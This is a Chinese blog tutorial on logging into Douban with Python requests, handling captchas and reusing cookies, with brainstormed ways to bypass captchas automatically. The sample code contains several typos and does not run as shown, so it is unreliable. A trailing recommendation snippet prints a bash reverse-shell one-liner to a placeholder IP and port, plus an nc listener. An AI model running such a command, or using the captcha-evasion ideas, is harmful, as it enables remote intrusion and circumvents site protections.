crawler碎碎念5 豆瓣爬取操作之登录练习
import requests
import html5lib
import re
from bs4 import BeautifulSoup
s = requests.Session() #这里要提一点,就是session的话就是对会话的一种维持,因为request缺乏持续性,仅限于2个相邻的页面
url_login = 'http://accounts.douban.com/login'
url_contacts = 'https://www.douban.com/people/****/contacts'
formdata = {
'redir':'https://www.douban.com', #重定向
'form_email':'t.t.panda@hotmail.com',
'form_password':'xxxxxxxxxxxxxx',
'login':u'登陆'
}
‘‘‘
关于字符串前面的功能的补充
1.r/R
表示非转义的原始字符串,比如在字符串中如果出现\n是换行,但是如果在字符串的前面添加r则表示\和n两个字符,一般常见于正则表达式中。
2.b
Python3里默认的str是(Python2里的)unicode, bytes是(Python2)的str, b前缀代表的就是bytes。 Python2里, b前缀没什么具体意义, 只是为了兼容Python3的这种写法。
3.u/U
表示unicode字符串 ,不是仅仅是针对中文, 可以针对任何的字符串,代表是对字符串进行unicode编码。 一般英文字符在使用各种编码下, 基本都可以正常解析, 所以一般不带u;但是中文, 必须表明所需编码, 否则一旦编码转换就会出现乱码。 建议所有编码方式采用UTF-8。
’‘’
headers = ' 这里自己打开开发者工具查看浏览器,复制粘贴就行了'
r = requestys.post(url_login,data = formdata,headers= headers)
content = r.text
soup = BeautifulSoup(content,'html5lib')
captcha = soup.findall('img',id = 'captcha_image') #查看是否有验证码
if captcha:
captcha_url = captcha['src']
re_captcha_id = r'<input type-"hidden"name="captcha-id" value = "(.*?)"/'
captcha_id = re.findall(re_captcha_id,content)
print(captcha_id)
print(captcha_url)
print(captcha_url)
capycha_text = input('please input the captcha:')
formdata['captacha-solution'] =captcha_text
formdata['captacha-id'] =captcha_id
r = requests.post(url_login,data = formdata,headers = headers)
print(r.text)
r = s.get(url_conteacts)
with open('contacts.txt','w+',encoding = 'utf-8'') as f:
f.write(r.text)
但是我们也发现每一次登陆都要输入密码和账户,还要验证,这也实在是太麻烦了,所以可以通过cookies,这就是我们常说的那些记住当前网址的密码
import requests
headers = {........}
cookies = {...........}
url = 'xxxxxxxxxxxx' r= requests.get(url,cookies=cookies,headers = headers)
print(r.text) with open('sssss.txt','wb+') as f :
f.write(r.content) 这其实就是最基本的一个爬虫套路模板了
关于上面的那个爬虫,爬出来的其实是验证码的图片,还需要手动打开然后识别图片里面的数字再手动输入,这个其实也是很麻烦的
这里先给出思路以后验证(如果还记得的呼哈)
1,利用selenium打开图片所在网页,保存这张图片,把图片读取到百度识图的api中,得到的答案自动反馈给程序
2,有一种设想,既然最后他要验证你输入的验证码对不对,那是不是图片的网页信息里面就夹杂着要比对的信息,那我是不是可以直接爬取这个然后反馈给程序?
3,要么索性偷个懒,链接挂到网上的验证码识别平台(滑稽)
crawler碎碎念5 豆瓣爬取操作之登录练习的更多相关文章
- crawler碎碎念6 豆瓣爬取操作之获取数据
import requests from lxml import etree s = requests.Session() for id in range(0,251,25): url ='https ...
- python学习(七)--豆瓣爬取电影名,评分以及演员
import requestsimport re #爬取豆瓣电影排名pageNum = int(input("要查看第几页电影分数:"))#已知豆瓣默认每页展示20条#url= & ...
- 菜鸟学IT之豆瓣爬取初体验
作业来源:https://edu.cnblogs.com/campus/gzcc/GZCC-16SE1/homework/3159 可以用pandas读出之前保存的数据: newsdf = pd.re ...
- 洗礼灵魂,修炼python(67)--爬虫篇—cookielib之爬取需要账户登录验证的网站
学完前面的教程,相信你已经能爬取大部分的网站信息了,但是当你爬的网站多了,你应该会发现一个新问题,有的网站需要登录账户才能看到更多的信息对吧?那么这种网站怎么爬取呢?这些登录数据就是今天要说的——co ...
- 爬虫之Beautfulsoup模块及新闻爬取操作
今日内容概要 IP代理池的概念及使用 requests其他方法补充 Beautifulsoup模块 避免你自己写正则表达式 利用该模块爬取京东的商品信息 今日内容详细 IP代理池的概念及使用 1.有很 ...
- Scrapy 通过登录的方式爬取豆瓣影评数据
Scrapy 通过登录的方式爬取豆瓣影评数据 爬虫 Scrapy 豆瓣 Fly 由于需要爬取影评数据在来做分析,就选择了豆瓣影评来抓取数据,工具使用的是Scrapy工具来实现.scrapy工具使用起来 ...
- python爬虫实践(二)——爬取张艺谋导演的电影《影》的豆瓣影评并进行简单分析
学了爬虫之后,都只是爬取一些简单的小页面,觉得没意思,所以我现在准备爬取一下豆瓣上张艺谋导演的“影”的短评,存入数据库,并进行简单的分析和数据可视化,因为用到的只是比较多,所以写一篇博客当做笔记. 第 ...
- Python爬取《冰雪奇缘2》豆瓣影评
前言 文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理. 作者: 刘铨@CCIS Lab PS:如有需要Python学习资料的小伙伴可 ...
- go爬虫之爬取豆瓣电影
go爬取豆瓣电影 好久没使用go语言做个项目了,上午闲来无事花了点时间使用golang来爬取豆瓣top电影,这里我没有用colly框架而是自己设计简单流程.mark一下 思路 定义两个channel, ...
随机推荐
- 2018-11-5-win10-uwp-异步转同步
title author date CreateTime categories win10 uwp 异步转同步 lindexi 2018-11-05 10:18:40 +0800 2018-2-13 ...
- Linux 内核 嵌入的 kobjects
在我们进入细节前, 值得花些时间理解如何使用 kobjects. 如果你回看被 kobjects 处 理的函数列表, 你会看到它们都是代表其他对象进行的服务. 一个 kobject, 换句话说, 对其 ...
- 【47.63%】【hdu 1532】Drainage Ditches
Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total Submission(s) ...
- URL参数中加号“+”丢失的问题
Java解决方法(推荐) URLEncoder.encode(urlParams,"UTF-8");
- 反弹shell理解
靶机 bash -i >& /dev/tcp/[ip]/[port1] 0>&1 攻击机 nc -vvlp [port1] 靶机中把 >&输成 > &a ...
- Caffe源码-几种优化算法
SGD简介 caffe中的SGDSolver类中实现了带动量的梯度下降法,其原理如下,\(lr\)为学习率,\(m\)为动量参数. 计算新的动量:history_data = local_rate * ...
- Hyperledger Fabric动态配置Raft节点
Hyperledger Fabric动态配置Raft节点 最近看官方文档发现新的共识算法etcdRaft允许动态添加或删除排序节点,所以也花了一天时间操作了以下,写篇文章把整个过程记录一下. 初始网络 ...
- k8s集群———flannel网络
#master执行将内网通信地址写入etcd中,确保flannel能与etcd通信 #添加 /opt/etcd/bin/etcdctl --ca-file=/opt/etcd/ssl/ca.pem - ...
- 洛谷$P2469\ [SDOI2010]$ 星际竞速 网络流
正解:网络流 解题报告: 传送门$QwQ$ 题目好长昂,,,大概概括下就说有$m$条单向边,$n$个点,每条边有一条边权,每个点有一个点权,然后问每个点都要到达一遍的最小代价是多少$QwQ$? 发现有 ...
- .NET设计篇08-线程统一取消模型和跨线程访问UI
知识需要不断积累.总结和沉淀,思考和写作是成长的催化剂,输出倒逼输入 内容目录 一.线程统一取消模型1.取消令牌2.可以中断的线程1.设计一个中断函数2.创建CancellationTokenSour ...